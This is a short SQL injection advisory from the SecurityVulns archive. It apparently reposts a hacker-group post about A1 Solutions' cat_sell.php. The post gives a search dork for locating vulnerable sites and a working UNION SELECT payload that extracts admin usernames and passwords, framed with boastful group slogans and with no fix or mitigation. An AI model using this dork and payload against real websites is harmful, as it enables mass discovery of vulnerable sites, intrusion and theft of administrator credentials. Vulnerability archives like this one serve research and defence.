A1 Solutions (cat_sell.php?cid) Remote SQL injection Vulnerability

2011-08-01T00:00:00
ID SECURITYVULNS:DOC:26730
Type securityvulns
Reporter Securityvulns
Modified 2011-08-01T00:00:00

Description

############################### IRANIAN THE BEST HACKERS IN THE WORLD ##################

##############

Remote SQL injection Vulnerability

A1 Solutions (cat_sell.php?cid)

AuTh0r : Ehsan_Hp200

H0ME : www.ehsanhp.blogsky.com

Email : Ehsan_Hp200@Hotmail.com

Vendor : http://www.a1sols.com/

Persian Gulf 4 Ever!

Dork : "Powered by A1 Solutions" "inurl:cat_sell.php?cid="

Exploite:

www.victim.com/cat_sell.php?cid=-1 union select 1,concat(user_name,0x3a,pass),1,1,1,1,1,1 from admin

SpeCial TanX To : Dj7Xpl

######################### IRANIAN THE BEST HACKERS IN THE WORLD